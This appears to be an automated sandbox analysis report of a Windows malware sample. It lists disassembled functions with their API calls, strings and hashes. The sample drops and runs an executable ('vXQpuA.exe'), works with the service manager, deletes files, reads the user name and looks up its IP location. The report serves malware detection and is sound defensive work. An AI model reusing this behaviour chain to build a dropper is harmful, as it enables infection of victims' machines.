Content-Type: application/x-www-form-urlencoded, xrefs: 00318505

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded$Content-Type: application/x-www-form-urlencoded$Content-Type: application/x-www-form-urlencoded$Content-Type: application/x-www-form-urlencoded$Content-Type: application/x-www-form-urlencoded
API String ID: 3732870572-2585428591
Opcode ID: efeb8c0ba0624f6a2b82bbb341261d03d85d13a6c9b0e7b658581fcc4e6b02bc
Instruction ID: 9a2bb8661eb30a6df8b4f694d28679a6800e8915d075d4bf5845758f29486990
Opcode Fuzzy Hash: efeb8c0ba0624f6a2b82bbb341261d03d85d13a6c9b0e7b658581fcc4e6b02bc
Instruction Fuzzy Hash: 71A314B0D056A88BEB66CB28CC41BDABBB5AF99304F1481D9E54CA7251DB706FC5CF40

Function 00374044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00374223
WriteFile.KERNELBASE(00000000,FFFD57E4,00003E00,?,00000000), ref: 00374252
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00374256
WinExec.KERNEL32(?,00000005), ref: 00374262

Strings

GetM, xrefs: 003740B6
Kern, xrefs: 003740F4
odul, xrefs: 0037422D
vXQpuA.exe, xrefs: 003741FD, 00374200
.dll, xrefs: 00374102
catA, xrefs: 003741AF
Clos, xrefs: 00374129
Writ, xrefs: 00374148
WinE, xrefs: 00374110
el32, xrefs: 003740FB
athA, xrefs: 00374199
GetT, xrefs: 00374188
dleA, xrefs: 003740D0
Crea, xrefs: 00374169
lstr, xrefs: 003741A7

Memory Dump Source

Source File: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: File$ChangeCloseCreateExecFindNotificationWrite
String ID: .dll$Clos$Crea$GetM$GetT$Kern$WinE$Writ$athA$catA$dleA$el32$lstr$odul$vXQpuA.exe
API String ID: 2234911746-1821406457
Opcode ID: 2532cd4db011b8cb9ee9df0a338f0a98687558aa1ab7fc38e3564c7ef64f7ef5
Instruction ID: abd417404eaacf5b624339f16b685b261bea8c78829bc180fb28b830eff16712
Opcode Fuzzy Hash: 2532cd4db011b8cb9ee9df0a338f0a98687558aa1ab7fc38e3564c7ef64f7ef5
Instruction Fuzzy Hash: A8612978D00215DBCF36DF94D884AADBBB4BF54315F66C1AAD409AB601C338AEC1CB95

Function 003219B0 Relevance: 30.4, APIs: 15, Strings: 1, Instructions: 2351
processlibrarysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00351F09: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00351F1C
Part of subcall function 00351F09: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00351F4D

LoadLibraryA.KERNELBASE(?), ref: 00321B22
LoadLibraryA.KERNELBASE(?), ref: 00321C61
__aulldiv.LIBCMT ref: 00321D80
Sleep.KERNEL32(?,?,?,?,?,?,?,0000003D,00000000,00000006,00000000), ref: 00321DA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00321F51
GetUserNameA.ADVAPI32(?,00000104), ref: 00321F85
DeleteFileA.KERNEL32(?), ref: 003222BE
operator!=.LIBCPMTD ref: 003222DB
__aulldiv.LIBCMT ref: 003224C2
operator!=.LIBCPMTD ref: 00322F74

Part of subcall function 00320A20: OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,8CDA9266), ref: 00320A6F
Part of subcall function 00320A20: DeleteFileA.KERNEL32(?), ref: 00320BAE

_strstr.LIBCMT ref: 003236B5

Part of subcall function 00313560: __aulldiv.LIBCMT ref: 003136F6

Part of subcall function 00343C20: GetProcAddress.KERNEL32(00323A15,?), ref: 00343F74

_strstr.LIBCMT ref: 00322A30

Part of subcall function 00313560: SHGetFolderPathA.SHELL32(00000000,00000000), ref: 003135F6

Part of subcall function 00343C20: GetProcAddress.KERNEL32(00323A15,?), ref: 00343D7D

Part of subcall function 00312400: __aulldiv.LIBCMT ref: 00312482

ShellExecuteA.SHELL32(00000000,?,?,00000000,00000000,00000001), ref: 00323D71
WinExec.KERNEL32(?,00000000), ref: 003244F6
WinExec.KERNEL32(?,00000000), ref: 00324C5E

Part of subcall function 003202C0: StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 003203C2

Strings

0.8, xrefs: 00321EF5, 003222CF

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: File__aulldiv$AddressDeleteExecLibraryLoadNameProcTime_strstroperator!=$CtrlDispatcherExecuteFolderManagerModuleOpenPathServiceShellSleepStartSystemUnothrow_t@std@@@User__ehfuncinfo$??2@
String ID: 0.8
API String ID: 2325502147-4163865904
Opcode ID: e49e422e5495216eb3aea5b7e603d10148a43d01c0e5cf8172f59e3e68147697
Instruction ID: a0d9ee9bcb45a718b5bc7ba1c6572bbf163cd43fbbd3747d3aa1f6a5a805c048
Opcode Fuzzy Hash: e49e422e5495216eb3aea5b7e603d10148a43d01c0e5cf8172f59e3e68147697
Instruction Fuzzy Hash: 18630474D096A88ADB66CF289C81BEABBB1AF59305F0481D9D94C77211EB306FC5CF41

Function 0031B1F0 Relevance: 8.0, APIs: 2, Strings: 2, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00312400: __aulldiv.LIBCMT ref: 00312482

__aulldiv.LIBCMT ref: 0031B3B4

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 0031BEF2
Qp, xrefs: 0031BAF3

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded$Qp
API String ID: 3732870572-783608910
Opcode ID: f18a0cd755e0487fbc386c7556f65a87850eb3e7d891d90aa589ea98749862be
Instruction ID: 291d42a614003686dea98be07eb5b190f1b82b2620bfcd680a005130f3f8442b
Opcode Fuzzy Hash: f18a0cd755e0487fbc386c7556f65a87850eb3e7d891d90aa589ea98749862be
Instruction Fuzzy Hash: 5FB27970D042688FDB2ACB28CC55BDABBB1AF99300F1482E9D449AB391DB715EC5CF51

Function 0031ACD0 Relevance: .3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: af115597d67c0fa28530e33544ee416cf2613e421effbe0be079812d8e112749
Instruction ID: b0d4010a6ea01d4c7c28f0ba188c83c42359c75900173cef6257f0a5c0d3da5e
Opcode Fuzzy Hash: af115597d67c0fa28530e33544ee416cf2613e421effbe0be079812d8e112749
Instruction Fuzzy Hash: 7FE1F774D096AC8ADB26CFA889817DDFBB0AF59304F1481D9D98877316EB301AC9CF51

Function 00312010 Relevance: .0, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c12fb5006e198a9469d627416917a4438922f797b5ff49e9074cd4f9e6f192e5
Instruction ID: 85883dd56be9a54824db09db2762d62e07ec5e9b61f43fc013f6d1f26cdfa613
Opcode Fuzzy Hash: c12fb5006e198a9469d627416917a4438922f797b5ff49e9074cd4f9e6f192e5
Instruction Fuzzy Hash: 3AF05476914548BBCB05DF54DC41FCAB7ACE70D760F40C629F9198B680E735A6448B90

Function 0031AA00 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0031ABB5

Strings

E), xrefs: 0031AB4B
Content-Type: application/x-www-form-urlencoded, xrefs: 0031ABE8

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded$E)
API String ID: 3732870572-2424320723
Opcode ID: 142aa23adf31cf4ada87871414e04b9efc8353b9d297009582b0d48bb91997e7
Instruction ID: eddc518011a883e7b55698945f45c48b2bb5b895599d5864520e482730f47154
Opcode Fuzzy Hash: 142aa23adf31cf4ada87871414e04b9efc8353b9d297009582b0d48bb91997e7
Instruction Fuzzy Hash: C79147B1E002189FDB15DFA8C885BDEBBB5FF89310F148169E409AB381DB746A45CF91

Function 003548DF Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,?,?,0034956E,00000000,?,00311FF9,00000000,?,00311F08), ref: 00354911

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 41d43cdcf65520c95f2cbcc6182021f558ec918a6a1c832914da6505007781c1
Instruction ID: e8d2504268dac068e1bc0997a0a72b8496f1fd4aeb7b34948cc74e3b35407617
Opcode Fuzzy Hash: 41d43cdcf65520c95f2cbcc6182021f558ec918a6a1c832914da6505007781c1
Instruction Fuzzy Hash: DCE022316007206AD62B2B269D02F9B774C9F823BFF570221EC09DA1B1DB60DD8CC6E0

Function 00351FE9 Relevance: 1.5, APIs: 1, Instructions: 11
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00351FFC

Part of subcall function 003543F6: RtlFreeHeap.NTDLL(00000000,00000000,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?), ref: 0035440C
Part of subcall function 003543F6: GetLastError.KERNEL32(?,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?,?), ref: 0035441E

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: 10e095cde31c31e70ec97b2935984fa0773950bb2f406251cda1964e0a531419
Instruction ID: 2be38ae87c5008254568eefbb09543d4005014bdd2839bc7b6402433e3a9738c
Opcode Fuzzy Hash: 10e095cde31c31e70ec97b2935984fa0773950bb2f406251cda1964e0a531419
Instruction Fuzzy Hash: 32C08C31000208BBCB05DB45C806E4E7BA8DB80368F200054F8001B260CBB1EE449680

Non-executed Functions

Function 00342740 Relevance: 37.3, APIs: 10, Strings: 11, Instructions: 546librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,8CDA9266), ref: 003429E3
GetProcAddress.KERNEL32(?,?), ref: 003429FD
GetModuleHandleA.KERNEL32(?,8CDA9266), ref: 00342CE4
GetProcAddress.KERNEL32(?,?), ref: 00342CFE
GetModuleHandleA.KERNEL32(?,8CDA9266), ref: 00342FE5
GetProcAddress.KERNEL32(?,?), ref: 00342FFF
lstrlenA.KERNEL32(00000000,12we3fwe,8CDA9266), ref: 0034320C
GetProcessHeap.KERNEL32(00000008,-00000001,12we3fwe,8CDA9266), ref: 0034323E
HeapAlloc.KERNEL32(00000000), ref: 00343245
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 00343266

Strings

stryd, xrefs: 00343172, 003431DA
Hde, xrefs: 00342B69
Hde, xrefs: 0034296D
de, xrefs: 00342816
12we3fwe, xrefs: 00343088
Hde, xrefs: 00342E6A
Hde, xrefs: 00342F6F
de, xrefs: 00342B17
Hde, xrefs: 00342C6E
Hde, xrefs: 00342868
de, xrefs: 00342E18

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$Heap$AllocProcesslstrcpynlstrlen
String ID: de$de$de$12we3fwe$Hde$Hde$Hde$Hde$Hde$Hde$stryd
API String ID: 2437662777-1215628347
Opcode ID: 06b3b049aa6a4a1fdaeb1d74838be070c6db68e3178cf525ad95319f50ceef1a
Instruction ID: 205fe942673328ef8f143fa00ff17b61f78fffe5bd3c0a4bbd596a8c05512595
Opcode Fuzzy Hash: 06b3b049aa6a4a1fdaeb1d74838be070c6db68e3178cf525ad95319f50ceef1a
Instruction Fuzzy Hash: DF62D074D092A88ADB26CF28CC95BD9BBB1AF5A304F1481D9D98D67212DB301FC5CF51

Function 00343C20 Relevance: 35.8, APIs: 10, Strings: 10, Instructions: 791libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00323A15,?), ref: 00343D7D
GetProcAddress.KERNEL32(00323A15,?), ref: 00343F74
GetProcAddress.KERNEL32(00323A15,?), ref: 0034416B
GetProcAddress.KERNEL32(00323A15,?), ref: 00344380
GetProcAddress.KERNEL32(00323A15,?), ref: 00344595
GetProcAddress.KERNEL32(00323A15,?), ref: 003446C8
GetProcAddress.KERNEL32(00323A15,?), ref: 003448DD
GetProcAddress.KERNEL32(00323A15,?), ref: 00344AF2
GetProcAddress.KERNEL32(00323A15,?), ref: 00344D07
GetProcAddress.KERNEL32(00323A15,?), ref: 00344EFE

Strings

Hde, xrefs: 00343CFA
Hde, xrefs: 003447DF
Hde, xrefs: 00344282
Hde, xrefs: 00344C09
Hde, xrefs: 0034464E
Hde, xrefs: 00344E18
Hde, xrefs: 00344085
Hde, xrefs: 00344497
Hde, xrefs: 003449F4
Hde, xrefs: 00343E8E

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID: Hde$Hde$Hde$Hde$Hde$Hde$Hde$Hde$Hde$Hde
API String ID: 190572456-3850131784
Opcode ID: 30c089357a7eadc030aae16427dc9612c79c7426d5460563a351b3ffb7bd74f2
Instruction ID: e783e441fa9483b22d903721777b0e47cfd02b736b1df1e8828e3a1f8592a432
Opcode Fuzzy Hash: 30c089357a7eadc030aae16427dc9612c79c7426d5460563a351b3ffb7bd74f2
Instruction Fuzzy Hash: 19B2AEB4D096A88ADB26CF288C857D9FBB1BF59305F0492D9D98C67221EB301BC5CF54

Function 0031C450 Relevance: 30.9, APIs: 11, Strings: 5, Instructions: 2940COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0031C5B8
__aulldiv.LIBCMT ref: 0031C6CF
__aulldiv.LIBCMT ref: 0031CA57
__aulldiv.LIBCMT ref: 0031D053
__aulldiv.LIBCMT ref: 0031D097

Part of subcall function 00312400: __aulldiv.LIBCMT ref: 00312482

__aulldiv.LIBCMT ref: 0031D92D

Part of subcall function 003124D0: __aulldiv.LIBCMT ref: 0031253C
Part of subcall function 003124D0: __aulldiv.LIBCMT ref: 00312585

__aulldiv.LIBCMT ref: 0031DB71
__aulldiv.LIBCMT ref: 0031E144
__aulldiv.LIBCMT ref: 0031E5D4
__aulldiv.LIBCMT ref: 0031F6D1
__aulldiv.LIBCMT ref: 0031FB8F

Strings

https://ipgeolocation.io/, xrefs: 0031F761
https://ipinfo.io/, xrefs: 0031C6F8
https://db-ip.com/, xrefs: 0031D9EE
https://www.maxmind.com/en/locate-my-ip-address, xrefs: 0031E1D0
Content-Type: application/x-www-form-urlencoded, xrefs: 0031D0FD

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded$https://db-ip.com/$https://ipgeolocation.io/$https://ipinfo.io/$https://www.maxmind.com/en/locate-my-ip-address
API String ID: 3732870572-2199139642
Opcode ID: 648d687a933f86adc5a41c14b309c0847d5a8a8a643e81984cacef8f3cc3888c
Instruction ID: 009917b0750e723ea1ab30d869baf5d8cdbc5f13654d72aeaa73600de6c3ff1a
Opcode Fuzzy Hash: 648d687a933f86adc5a41c14b309c0847d5a8a8a643e81984cacef8f3cc3888c
Instruction Fuzzy Hash: E0730470D096A88AEB66CF28CC51BEABBB1AF99304F0481D9D58C67251EB701FC5CF51

Function 00320A20 Relevance: 17.2, APIs: 11, Instructions: 734fileserviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,8CDA9266), ref: 00320A6F

Part of subcall function 003203E0: SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000,8CDA9266), ref: 00320436

DeleteFileA.KERNEL32(?), ref: 00320BAE
DeleteFileA.KERNEL32(?), ref: 00320E16
CopyFileA.KERNEL32(?,?,00000000), ref: 00321064
OpenServiceA.ADVAPI32(00000000,?,00000004), ref: 003211BD
CloseServiceHandle.ADVAPI32(00000000), ref: 003211D9
CloseServiceHandle.ADVAPI32(00000000), ref: 0032196C

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: FileService$CloseDeleteHandleOpen$CopyFolderManagerPathSpecial
String ID:
API String ID: 32130118-0
Opcode ID: 447dbef8d7e5e8a40ebfd22d77f815d9103187fbf61371b053e40cf31638c102
Instruction ID: f3ed32efc3462a89cbb440f67c637929d71b109457353c7c24a53064fb0bd190
Opcode Fuzzy Hash: 447dbef8d7e5e8a40ebfd22d77f815d9103187fbf61371b053e40cf31638c102
Instruction Fuzzy Hash: DB92EEB4D0A2A88BDB26CF28D994BD9BBB5AF59300F1081D9D94DA7251EB305FC5CF40

Function 0033D8C0 Relevance: 14.7, APIs: 9, Instructions: 1200COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,8CDA9266), ref: 0033DBCA
GetModuleHandleA.KERNEL32(?), ref: 0033DF20
GetModuleHandleA.KERNEL32(?), ref: 0033E194
GetModuleHandleA.KERNEL32(?), ref: 0033E4EA
GetModuleHandleA.KERNEL32(?), ref: 0033E84F
GetModuleHandleA.KERNEL32(?), ref: 0033EBB4
GetModuleHandleA.KERNEL32(?), ref: 0033EEFB
GetModuleHandleA.KERNEL32(?), ref: 0033F18D
GetModuleHandleA.KERNEL32(?), ref: 0033F4F2

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

